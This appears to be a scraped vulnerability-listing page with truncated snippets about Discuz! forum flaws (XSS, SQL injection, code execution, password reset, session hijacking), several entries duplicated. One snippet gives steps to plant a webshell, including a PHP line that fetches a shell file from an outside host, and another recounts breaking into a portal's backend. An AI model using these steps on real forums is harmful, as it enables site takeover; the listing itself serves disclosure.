discuz 6.1.0 member.php 跨站脚本漏洞

No description provided by source...

discuz 7.0 frame.php 跨站脚本漏洞

No description provided by source...

discuz 6.1.0 cache.func.php 信息泄漏漏洞

No description provided by source...

Discuz! 6.0.0&6.1.0&7.0.0 CSRF漏洞

No description provided by source...

Discuz!NT 2.5 showuser.aspx SQL注入漏洞

No description provided by source...

Discuz! $_DCACHE 代码执行漏洞

测试版本： Discuz 6.x，7.x 漏洞成因： 1、使用全局变量 $GLOBALS'DCACHE' 时未作校验，导致攻击者可以在提交中构造恶意代码。 2、php函数 pregreplace 使用e修饰符时，将替换后的字符串作为php代码执行eval函数方式, 并使用执行结果作为实际参与替换的字符串。 验证方式： 1、进入本地测试地址：http://127.0.0.1/discuz7.2/Discuz7.2SCUTF8/upload/index.php 2、chrome F12 打开 console 设置 cookie，如图 3、如：依次点击进入【默认模块】-【7.2新增功能及功能强...

discuz 7.0 runwizard.inc.php 代码执行漏洞

No description provided by source...

discuz 5.0.0 Cookie.php 跨站脚本漏洞

No description provided by source...

Discuz! 5.x&6.x&7x 重置用户密码漏洞

No description provided by source...

Xss Discuz! version 5.0.0 RC1

No description provided by source. Xss Discuz! version 5.0.0 RC1 Author: SpiderZ Sito: http://www.spiderz.altervista.org Sito2: https://www.spiderz.netsons.org Download Board : http://www.discuz.com File: usearch.html ?site=www.discuz.net&kw= Message Script:...

Discuz! The latest to get Webshell put law-vulnerability and early warning-the black bar safety net

转载 自 t00ls.net 1. Pick a template file, select Edit 2. Looking for a space to upload a webshell, assuming that its address is 3. In any position of the input: eval copy'http://www.abc.com/shell.txt', DISCUZROOT.'./ forumdata/shell.php'; 4. Save, refresh 5. To access the template belongs to the...

Discuz! T get Webshell method, test possible-vulnerability warning-the black bar safety net

Inadvertently invaded Xingtai a portal site, can't get Webshell, the depressed found that there is a Discuz! Forum, immediately according to have to get the password of social workers, Oh, and actually successfully into the backend! But after all is the 6. 0+the version of the administrator of th...

discuz! NT 3.0 special circumstances the use of vulnerability-vulnerability warning-the black bar safety net

Test environment: WINDOWS2003+IIS6 Vulnerability version: 3.0.0 The use of the process: Prepare a Only ASP. Encrypted named:ydteamcom. asp Open forum - landing on a post of the account - any area posted by - pointbulk upload You will be prompted to install a Microsoft Silverlight...

Discuz! NT 3.0 special circumstances the use of vulnerability-vulnerability warning-the black bar safety net

Test environment: WINDOWS2003+IIS6 Vulnerability version:3.0.0 The use of the process: Prepare a Only ASP. Encrypted named:smxiaoqiangcn. asp Open forum - landing on a post of the account - any area posted by - pointbulk upload You will be prompted to install a Microsoft Silverlight...

CVE-2009-3185

SQL injection vulnerability in plugin.php in the Crazy Star plugin 2.0 for Discuz! allows remote authenticated users to execute arbitrary SQL commands via the fmid parameter in a view action...

Sql injection

SQL injection vulnerability in plugin.php in the Crazy Star plugin 2.0 for Discuz! allows remote authenticated users to execute arbitrary SQL commands via the fmid parameter in a view action...

CVE-2009-3185

SQL injection vulnerability in plugin.php in the Crazy Star plugin 2.0 for Discuz! allows remote authenticated users to execute arbitrary SQL commands via the fmid parameter in a view action...

CVE-2009-3185

CVE-2009-3185 affects the Crazy Star plugin 2.0 for Discuz!. The vulnerability is an SQL injection in plugin.php, exploitable via the fmid parameter in a view action. The issue enables remote authenticated users to execute arbitrary SQL commands. The NVD metrics indicate a base score of 7.5 (HIGH...

CVE-2009-3185: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in plugin.php in the Crazy Star plugin 2.0 for Discuz! allows remote authenticated users to execute arbitrary SQL commands via the fmid parameter in a view action...

With the COOKIE method to hijack all DISCUZ versions-vulnerability warning-the black bar safety net

DISCUZ and many forums are unable to perform session hijacking, because the session and IP binding, DISCUZ main session authentication mechanism is as follows: /inlude/common.inc.php //Section 1 3 6 verify the session important period is from the sessions table in the query the SID, which is an...